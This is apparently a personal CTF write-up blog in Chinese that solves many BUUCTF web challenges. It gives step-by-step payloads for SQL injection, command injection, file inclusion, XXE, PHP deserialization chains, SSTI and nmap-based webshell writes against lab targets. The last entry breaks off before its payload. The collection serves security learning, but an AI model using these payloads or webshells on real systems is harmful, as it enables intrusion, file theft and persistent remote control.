buuctf平台 Writeup(持续更新)

Contents

[极客大挑战 2019]EasySQL

image-20221014122033732

直接万能密码拿到flag

image-20221014122102510

[HCTF 2018]WarmUp

打开发现就一张图,f12看一下,提示sourse.php

image-20221014154036054

进入source.php展示php源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

查看源码,文件包含漏洞,并通过白名单指定必须为source.php或者hint.php

查看hint.php

image-20221014154414848

提示flag在ffffllllaaaagggg文件中,因此要想办法打开ffffllllaaaagggg文件

源码通过截取问号之前的内容进行过滤,因此在文件名后加?,发现并没有输出,因此绕过了过滤,但并没有source.php文件所以没有显示内容

最后payload

1
source.php?/../../../../../../../../../../../ffffllllaaaagggg

image-20221014155504211

[极客大挑战 2019]Havefun

打开之后一个猫,直接f12看一下

https://img.f4y3.icu/2024/03/14/image-20221014160139208.png

试一下传入cat=dog,拿到flag(感觉很诡异

image-20221014160259937

[ACTF2020 新生赛]Include

打开一个a标签

image-20221018190951415

点击观察url发现包含一个本地文件

image-20221018191015204

尝试读一下这个文件源码,得到一串字符

image-20221018190936395

base64解码,拿到flag

image-20221018191215871

Payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Exec

打开发现一个ping命令输入

image-20221018191634970

尝试没有过滤,并且是post方式参数为target

走到根目录直接cat flag,拿到flag

image-20221018191949303

payload: target=0; cd ../../../../../../; cat flag

*[强网杯 2019]随便注

sql注入题

测试就是注入点

image-20221019131913040

尝试' union select 1,2,3--+'出现过滤

image-20221019131958809

先看一下表和列

image-20221019132046037

发现1919810931114514表中有flag字段,尝试拿到

image-20221019132124502

因为过滤了一些关键词所以考虑其他的

采用定义拼接字符串语句加执行来绕过

payload:

1
'; set @a=concat("sel","ect flag from `1919810931114514`"); prepare b from @a; execute b;--+

image-20221019133145974

set prepare被过滤,大小写绕过,拿到flag

image-20221019134140572

最终payload

1
'; Set @a=concat("sel","ect flag from `1919810931114514`"); Prepare b from @a; execute b;--+

*[SUCTF 2019]EasySQL

又是sql注入

image-20221019142003952

提示检查你的输入是否是正确flag,感觉可能直接在flag表里查

尝试了一些发现都被过滤的,而且只有输入1才有显示,感觉不是考绕过

尝试了一堆搞不出来不会了。。

看别人wp,源码是这样的$sql = "select ".$post['query']."||flag from Flag";头一回遇到

所以就要想办法把||flag去掉

payload:*,1

image-20221019141814132

[GXYCTF2019]Ping Ping Ping

一道命令注入题

image-20221019151749715

执行ls发现flag文件在目录中,下一步就是读取flag.php

image-20221019152025678

尝试一些发现过滤空格以及一些符号(){}<>等关键词flag

没过滤$因此$IFS$9代替空格可行,用反引号内联ls命令读取列表第一个文件即可

Payload:

1
?ip=0;cat$IFS$9`ls$IFS$9|$IFS$9head$IFS$9-n1`

image-20221019152227943

由于被包裹所以查看源码拿到flag

image-20221019152346148

[极客大挑战 2019]Secret File

打开之后没信息

f12看一下

image-20221019153446690

有一个a标签,直接打开

image-20221019153521184

点击之后直接跳到end.php

image-20221019153545867

因此抓包看一下,发现有一个中间文件action.php

image-20221019153633506

直接burp suite 发包,发现返回提示信息secr3t.php文件

image-20221019153739799

打开是一段php代码,提示在flag在flag.php里,并且有文件包含漏洞

image-20221019153910870

读取文件base64源码

Payload:

1
2
secr3t.php
?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20221019154046617

解码拿到flag

image-20221019154130485

[极客大挑战 2019]LoveSQL

又一个sql注入

直接万能密码,发现无回显

image-20221019162138821

尝试报错盲注,没有过滤,成功

image-20221019162252216

按流程获取数据库名、表名、列名,最终找到flag

image-20221019162428392

但由于报错回显位数限制32位,用substr拼接先查前面在查后面即可

Payload:

1
2
check.php?username=123&password=' or updatexml(1,concat(0x7e, (substr((select password from l0ve1ysq1 limit 15,1),1,32)),0x7e),1) or '
check.php?username=123&password=' or updatexml(1,concat(0x7e, (substr((select password from l0ve1ysq1 limit 15,1),30)),0x7e),1) or '

[极客大挑战 2019]Knife

打开告诉我有shell

image-20221019163430098

直接上蚁剑发现还真连上了

image-20221019163454459

在根目录找到flag文件拿到flag

image-20221019163543136

*[极客大挑战 2019]Http

看题目http题,打开靶场没啥东西,查看源码发现a标签

image-20221019165821947

打开告诉限制referer为https://Sycsecret.buuoj.cn

image-20221019165859460

抓包加Referer: https://Sycsecret.buuoj.cn,又限制浏览器,继续抓包改User-Agent: Syclover

image-20221019165946804

又限制本地访问,抓包加X-Forwarded-For: 127.0.0.1

image-20221019170146260

拿到flag

image-20221019170315377

请求报文

image-20221019170346685

*[极客大挑战 2019]Upload

文件上传题

image-20221022133346956

上传php改文件名和MIME,测试发现phtml可行,但提示检测文件内容包含<?

image-20221022133633000尝试js形式绕过,并文件头加GIF89a,上传成功

image-20221022133829364

image-20221022133847598

蚁剑连上拿到flag

[ACTF2020 新生赛]Upload

又是文件上传

image-20221022135031787

有前端验证,传shell.png抓包改后缀phtml上传成功

后同上一题

*[极客大挑战 2019]BabySQL

还是那个sql

测试一通屏蔽了很多关键词

image-20221022140449422

双写绕过通过

image-20221022140506799

查表名字段,最后在b4bsql表拿到flag

image-20221022141541046

payload

1
2
?username=123
&password=' ununionion seselectlect 1, group_concat(username, passwoorrd),3 frofromm b4bsql  --+

极客大挑战 2019]PHP

打开提示备份,尝试url加www.zip下载文件成功,php反序列化题

image-20221022152133150

构造测试不通过,因为没绕过__wakeup魔术方法

image-20221022152250076

image-20221022152241929

查了一下,对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

所以把个数值改为3执行拿到flag

image-20221022152410031

[ACTF2020 新生赛]BackupFile

打开让找文件

image-20221022154716027

目录扫描,发现index.php.bak备份文件

image-20221022154822807

打开下载打开源代码

image-20221022154841335

匹配输入与str,相等高亮flag,所以要搞那个str是什么

intval只获取整数,那一串放进去返回123,所以key=123拿到flag

image-20221022155339624

[RoarCTF 2019]Easy Calc

打开是个计算,输入除了数字都没用,没有突破口

image-20221022160423640

看源码通过calc.php计算,所以打开一下calc.php,发现源码

image-20221022162457859

除了上面代码绕过,输入字母都不行,应该是waf干的,所以要绕过waf和源码

WAF检测num的参数,所以要想办法让waf读不到num,PHP会删除参数空格,空格绕过试一下,成功了

image-20221022162811163

下面就简单了,chr字符编码绕过过滤拿到flag

image-20221022171519943

(无参数rce chdir返回null不知道为啥

[极客大挑战 2019]BuyFlag

打开之后看菜单两个页面,没信息f12看到代码提示POST money和password,并且password弱类型匹配直接加字母绕过

image-20221022172410243

post一个money=100000000&password=404a试一下,没反应,看文字应该是cookie不对,看一下cookie

image-20221022173536125 把user=0改成1出提示,钱长度超了

image-20221022173739223

科学计数法拿到flag

image-20221022173835441

[护网杯 2018]easy_tornado

进来三个文件提示,就是构造个md5作为filehash传入才能访问flag

image-20221022192541073

所以要找cookie_secret。抓包找半天没有

输错进入error页面,有一个可输入位置

image-20221022192847661

感觉是ssti,但尝试半天搜是绕过,所以去学了Tornado相关的东西,可以知道这个通过handler.application.settings里,输入试试,拿到cookie_secret

image-20221022192946783

构造hash拿到flag

image-20221022193148731

[HCTF 2018]admin

打开是个网站,源码有提示

image-20221023121125210

感觉应该是flask伪造session题。有登陆注册选项,随便注册一个登上去抓包

image-20221023121031493

session拿来上科技解析一下

image-20221023121246218

找SECRET_KEY,最后在/chang页面发现源码链接

image-20221023121420139

在源码中找到SECRET_KEY

image-20221023121757680

伪造生成session拿到flag

image-20221023122215311

image-20221023122233401

*[BJDCTF2020]Easy MD5

第一次遇到md5题

打开没提示看一下数据包,提示查询语句

image-20221024164951210

Md5($pass, true)类型,解析后生成’‘or’xxxxx’

所以要控制xxxx内容返回true

直接输入ffifdyop,出现新提示

image-20221024165442387

还是md5,判断输入a,b值不同但md5相同,继续绕过

Payload:

1
http://2a6bb8fd-e03e-458d-a2d3-9b78bca0c3d7.node4.buuoj.cn:81/levels91.php?a=240610708&b=QLTHNDT

出现新提示,数组绕过,拿到flag

image-20221024171414047

Payload:

1
Param1[]=1Param2[]=1

[ZJCTF 2019]NiZhuanSiWei

打开之后源代码,看了一下有三个点

​ text读取文件并且内容是指定的,想到伪协议,可以data构造

​ file有文件包含,提示包含useless.php,可以用伪协议尝试读一下源代码

​ password有一个反序列化点,估计会涉及到反序列化

构造text成功

image-20221024185541230

读一下useless.php,解码后得到如下,提示有flag.php文件

image-20221024185706972

构造password反序列化,利用伪协议执行读取flag.php

image-20221024185818799

执行解码拿到flag

image-20221024185911876

Payload:

1
2
3
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D

[MRCTF2020]你传你🐎呢

文件上传题

传.htaccess和test.png,拿到shell

简单ac

[极客大挑战 2019]HardSQL

过滤了空格和等号

显示错误信息所以试试报错盲注,括号绕过空格,like绕过等号

成功拿到,但位数不够

image-20221025140213990

substr被绕过,所以用left,right,拿到后半段flag

image-20221025140253034

Payload:

1
2
?username=123
&password='^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))))or'

[MRCTF2020]Ez_bypass

打开展示源代码,简单看一下

get接受dd和id,md5三等判断

Post接受passwd,php数字两等判断

image-20221025140814568

dd, id 用数组绕过,passwd用数字加字符绕过,拿到flag

image-20221025141223140

[SUCTF 2019]CheckIn

文件上传,试了一下黑名单检查文件后缀,检查文件开头,过滤<?

尝试.user.ini,上传成功

image-20221025143958764

传shell.png成功,getshell,拿到flag

image-20221025144046788

[网鼎杯 2020 青龙组]AreUSerialz

php反序列化

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

接受str参数处理,若op为2就读文件,可以利用直接读flag文件

调用__destruct方法中为强比较,process中为弱比较,因此传入数字2即可绕过执行,is_valid会控制输入的ASCII码,protect在生成是会产生%00,可用public生命绕过

Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php

class FileHandler {

    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

}

$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
?>

执行后转码拿到flag

image-20221025163728854

*[GXYCTF2019]BabySQli

sql注入题

尝试了一些发现基本都过滤了,所以sql查询路子不太行

image-20221025170457741

f12看一下发现提示

image-20221025171012002

base32再base64解码后得到如下提示

image-20221025171046528

通过报错判断用户名密码分开校验,尝试联合注入绕过密码校验

存在admin用户,利用联合查询为其插入自定义密码尝试

image-20221026142516826

尝试md5形式,ac

image-20221026142543309

Payload:

1
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

[GXYCTF2019]BabyUpload

文件上传,试了一下只能穿jpeg文件

image-20221026143920250

传.htaccess简单ac

*[GYCTF2020]Blacklist

sql注入,可直接执行,万能语句看表

image-20221026153118332

执行其他尝试,发现过滤了大部分关键字,但没过滤handler

image-20221026153026022

直接show tables看表,利用handler查询ac

image-20221026153554271

Payload:

1
?inject='; show tables; handler FlagHere open; handler FlagHere read first; handler close--+

[CISCN2019 华北赛区 Day2 Web1]Hack World

sql题,告诉表名和列名,尝试注入过滤并且无回显

image-20221026181001133

尝试ascii盲注,测试第一个字符是否为f(102),成功

image-20221026182104299

下面就简单了,写个脚本让他猜,最后拿到flag

image-20221026182228956

*[网鼎杯 2018]Fakebook

进去之后,有登录注册功能,测试注入只会弹窗无回显,注册一个账号

image-20221028125545780

点击用户名进入个人页面,观察url有一个查询,测试注入点成功,并确定回显点

image-20221028125726819

但测试一番发现数据库只有一个表,并且flag不在其中

image-20221028125829251

尝试sql写shell,失败没有写权限

image-20221028130152685

目录扫描,发现目录下有一个flag.php,还有一个robot.txt

image-20221028131047612

image-20221028131351900

打开robots.txt,提示一个备份

image-20221028131617742

下载下来看一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

结合之前的报错信息以及回显,将data参数反序列化使用,iframe框架显示会调用getBlogContents方法,其方法中会调用get方法,get中包含读取blog参数的curl,可用于传入flag.php来读取

构造payload

image-20221028135518073

联合查询传入,base64转码拿到flag

image-20221028135728806

[RoarCTF 2019]Easy Java

第一次做java题,试试吧

打开之后是个登录,看一下help

image-20221028150015614

help弹出错误无法找到文件,POST一下成功证明可行

image-20221028150103029

image-20221028150143163

尝试下载配置文件WEB-INF/web.xml,成功,提示有一个FlagController

image-20221028150418220

访问一下失败

image-20221028150459012

搜了一下相关目录结构,利用文件下载将FlagController.class下下来

image-20221028152243147

Payload:

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

反编译一下拿到flag

image-20221028152829455

[BJDCTF2020]The mystery of ip

上去提示flag页面

image-20221028155408901

进去之后说这是我的ip,但这根本不是我ip

image-20221028155504652

进提示页面看一下提示

image-20221028164100733

获取ip三种方式xff, client-ip, remote_addr

其中remote_addr在tcp中改不了,所以尝试改另外两种

尝试利用client-ip改一下ip试试,成功回显

image-20221028164259936

尝试模版注入成功

image-20221028164335616

执行命令拿到flag

image-20221028164517764

*[BUUCTF 2018]Online Tool

打开是代码,简单看一下,通过host接受参数然后通过nmap执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

但有两个函数对命令进行了处理escapeshellarg, escapeshellcmd

查资料学了一下相关绕过,可配合nmap -oG参数将命令保存到文件中写入shell

Payload

1
'%20<?php%20eval($_POST[cmd]);?>%20-oG%201.php%20'

image-20221028174845567

蚁剑连sandbox生成路径下1.php成功,根目录拿到flag

*[网鼎杯 2020 朱雀组]phpweb

打开之后显示warning并显示一个时间

image-20221029114811187

看一下源码,通过post传两个参数,猜测第一个是函数名第二个是参数,这样才会显示时间

image-20221029114837859

尝试system(’ls’),被过滤

image-20221029115602765

试试读一下index.php,成功拿到源码

image-20221029115641387

源码包含一个test类,可执行反序列化绕过黑名单执行命令

image-20221029121133495

成功

image-20221029121121727

rce拿下flag(藏的挺深找了半天

[GXYCTF2019]禁止套娃

打开之后啥也没有,f12目录扫描抓包都无果

image-20221029141221391

查了一下还有git泄漏的情况,利用GitHash工具拿到源码

image-20221029141341243

打开之后看一下逻辑,无参数rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

无参数rce拿下flag

image-20221029141444019

Payload:

1
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

[BJDCTF2020]ZJCTF,不过如此

打开是源码

image-20221029142107262

看一下逻辑,两个get点都可以利用伪协议,读到提示的next.php

image-20221029142130235

Payload:

1
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

base64解码拿到新的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

查了一下资料,输入preg_replace的rce

payload:

1
?\S*=${命令}

会执行话括号中命令,配合无参数rce拿到flag

image-20221029152242383

这里也可以定义一个post变量并利用post输入执行命令

image-20221029152347315

[BSidesCF 2020]Had a bad day

打开之后普通页面,通过get接受一个参数,根据参数从库中调相应图片

image-20221029160833786

测试了一下,白名单,只有包含woofer或者meower才会执行,不然就被过滤,执行报错发现文件包含漏洞

image-20221029161000573

?category=php://filter/read=convert.base64-encode/resource=woofers看一下woofer.php内容,没什么价值

image-20221029165309282

看一下php版本,不能用%00截断注入

image-20221029165152828

路径跳转试一下拿到flag

image-20221029170203309

[GWCTF 2019]我有一个数据库

进去之后是乱码

image-20221029181548770

反解一下大概说的是有个数据库但啥也没有

image-20221029181616978

目录扫描,发现phpmyadmin开着

image-20221029181701546

进入发现无法登陆,干什么都没有权限

image-20221029181743753

查了一下资料,phpmyadmin4.8.1存在一个文件包含漏洞(CVE-2018-12613)

利用一下成功ac

image-20221029182051695

[BJDCTF2020]Mark loves cat

打开之后看了一圈没信息,目录扫描发现.git,直接githack下来

image-20221030164338467

代码审计题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

$yds = "dog";
$is = "cat";
$handsome = 'yds';
$flag = file_get_contents('/flag');

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

变量覆盖yds直接exit拿到flag

image-20221030164510094

image-20221030164516935

Payload:

1
yds=flag

[NCTF2019]Fake XML cookbook

看题目xml题,进来之后是个登录页面

image-20221030170824428

抓包看一下,通过xml传输信息并返回

image-20221030170901482

直接尝试XXE,读根目录flag,ac

image-20221030171124996

Payload:

1
2
3
4
5
<?xml version="1.0"?> 
<!DOCTYPE a [ 
    <!ENTITY wintrysec SYSTEM "file:///flag"> 
]> 
<user><username>&wintrysec;</username><password>123</password></user>

[安洵杯 2019]easy_web

打开之后观察,标题有一个base64

image-20221030173627577

解码两次得到一串数字字母

image-20221030173746115

看着像16进制,转一下,得到文件名

image-20221030173814530

试试包含index.php,成功

image-20221030173843074

拿到源码看一下,post两个md5碰撞的值可以绕过去执行命令,并且命令很多被过滤,尝试反斜杠绕过

image-20221030173910095

md5碰撞成功

image-20221030193554406

执行命令拿到flag

image-20221030193939210

[强网杯 2019]高明的黑客

进去之后提示备份文件

image-20221106154457179

下载下来特别大,很多php文件,内容都像乱码没有其他提示

image-20221106154551448

没有思路了

Wp:观察其中有一些get或者post传参位置,猜测有rce位置,上人家脚本泡一下找到位置,然后执行拿到根目录flag

[BJDCTF2020]Cookie is so stable

进去之后看提示页面,提示cookie

image-20221106155325742

抓包看一下

image-20221106155734274

尝试发现user部位有ssti点

image-20221106155850253

直接twig ssti拿到flag

image-20221106160036711

Payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

[WUSTCTF2020]朴实无华

进来之后没提示

image-20221106160200918

读一下robots.txt

image-20221106160233898

虽然说是假的但也进去看一下,没其他信息

image-20221106160411767

抓包看一下,发现有提示

image-20221106160536502

进去之后是php代码审计,一共三关

第一关找一个比2020小加一比2021大的数

​ 用科学记数法绕过: 1e5

第二关md5等于自身的字符串,两等验证

​ 0e215962017

第三关命令执行,有过滤

先ls一下

image-20221106161644671

绕过读拿到flag

image-20221106161904397

Payload:

1
?num=1e5&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[安洵杯 2019]easy_serialize_php

php代码审计

先看提示,提示我phpinfo有东西

image-20221106162246261

看一下发现疑似flag位置

image-20221106162330110

目标通过img变量读到此文件

属于php反序列化字节逃逸

构造payload:

1
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

成功拿到提示

image-20221106164646674

再构造拿到flag

image-20221106164845830

[ASIS 2019]Unicorn shop

打开之后是个购买平台,测试输入点注入没啥发现,但只能买4号,1-3错误

image-20221106142638777

但买四号限制字符只能一个

image-20221106142709883

所以就找一个一个字符表示大于1337的数字,找的是下面这个,表示罗马5000

image-20221106142812513

作为价格输入拿到flag

image-20221106142840466

[MRCTF2020]Ezpop

pop链题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

直接构造

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Modifier {
	protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
	public $source;
    public $str;
	public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
}

class Test{
	public $p;
}

$m = new Modifier();
$s = new Show();
$s_ = new Show();
$t = new Test();

$s_->source = $s;
$s->str = $t;
$t->p = $m;

echo urlencode(serialize($s_));

?>

读到flag.php源码,解码拿到flag

[WesternCTF2018]shrine

打开是python源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{\{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

看一下逻辑:通过url接受模版注入,告诉flag在环境变量中,并且过滤了括号,并且过滤开头出现的的config、self

查一下,可以通过url_for.__globals__读环境变量,并利用读取自身的变量再执行config

拿到flag

image-20221106174222513

Payload:

1
{{url_for.__globals__['current_app'].config}}

[网鼎杯 2020 朱雀组]Nmap

nmap命令执行

尝试执行命令发现没有回显

image-20221106181842032

尝试利用nmap将命令保存文件中getshell

payload:

1
host=<?php eval($_POST['cmd'])?> -oG test.php

被过滤

image-20221106182017480

测试发现php被过滤,绕过

payload:

1
host=<?= @eval($_POST['cmd']);?> -oN test.phtml

执行后访问文件但没有

image-20221106182144084

查资料发现是escapeshellarg() escapeshellcmd()两个函数的问题

两个函数配合使用时可以绕过

payload

1
host=' <?= @eval($_POST['cmd']);?> -oN test.phtml '

上蚁剑在根目录拿到flag

image-20221107104213844

[CISCN 2019 初赛]Love Math

打开是源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

看一下逻辑:将get输入内容echo输出,可rce,但限制符号和函数白名单

函数白名单是数学函数

其中base_convert可执行随意进制转换,可以用十进制转换36进制进而生成想要的字符串

尝试直接生成system(ls)成功

image-20221108111633367

但构造system(cat /flag)比较困难

尝试构造get接受其他输入进而利用其他参数构造命令绕过过滤

成功

image-20221108111820297

payload:

1
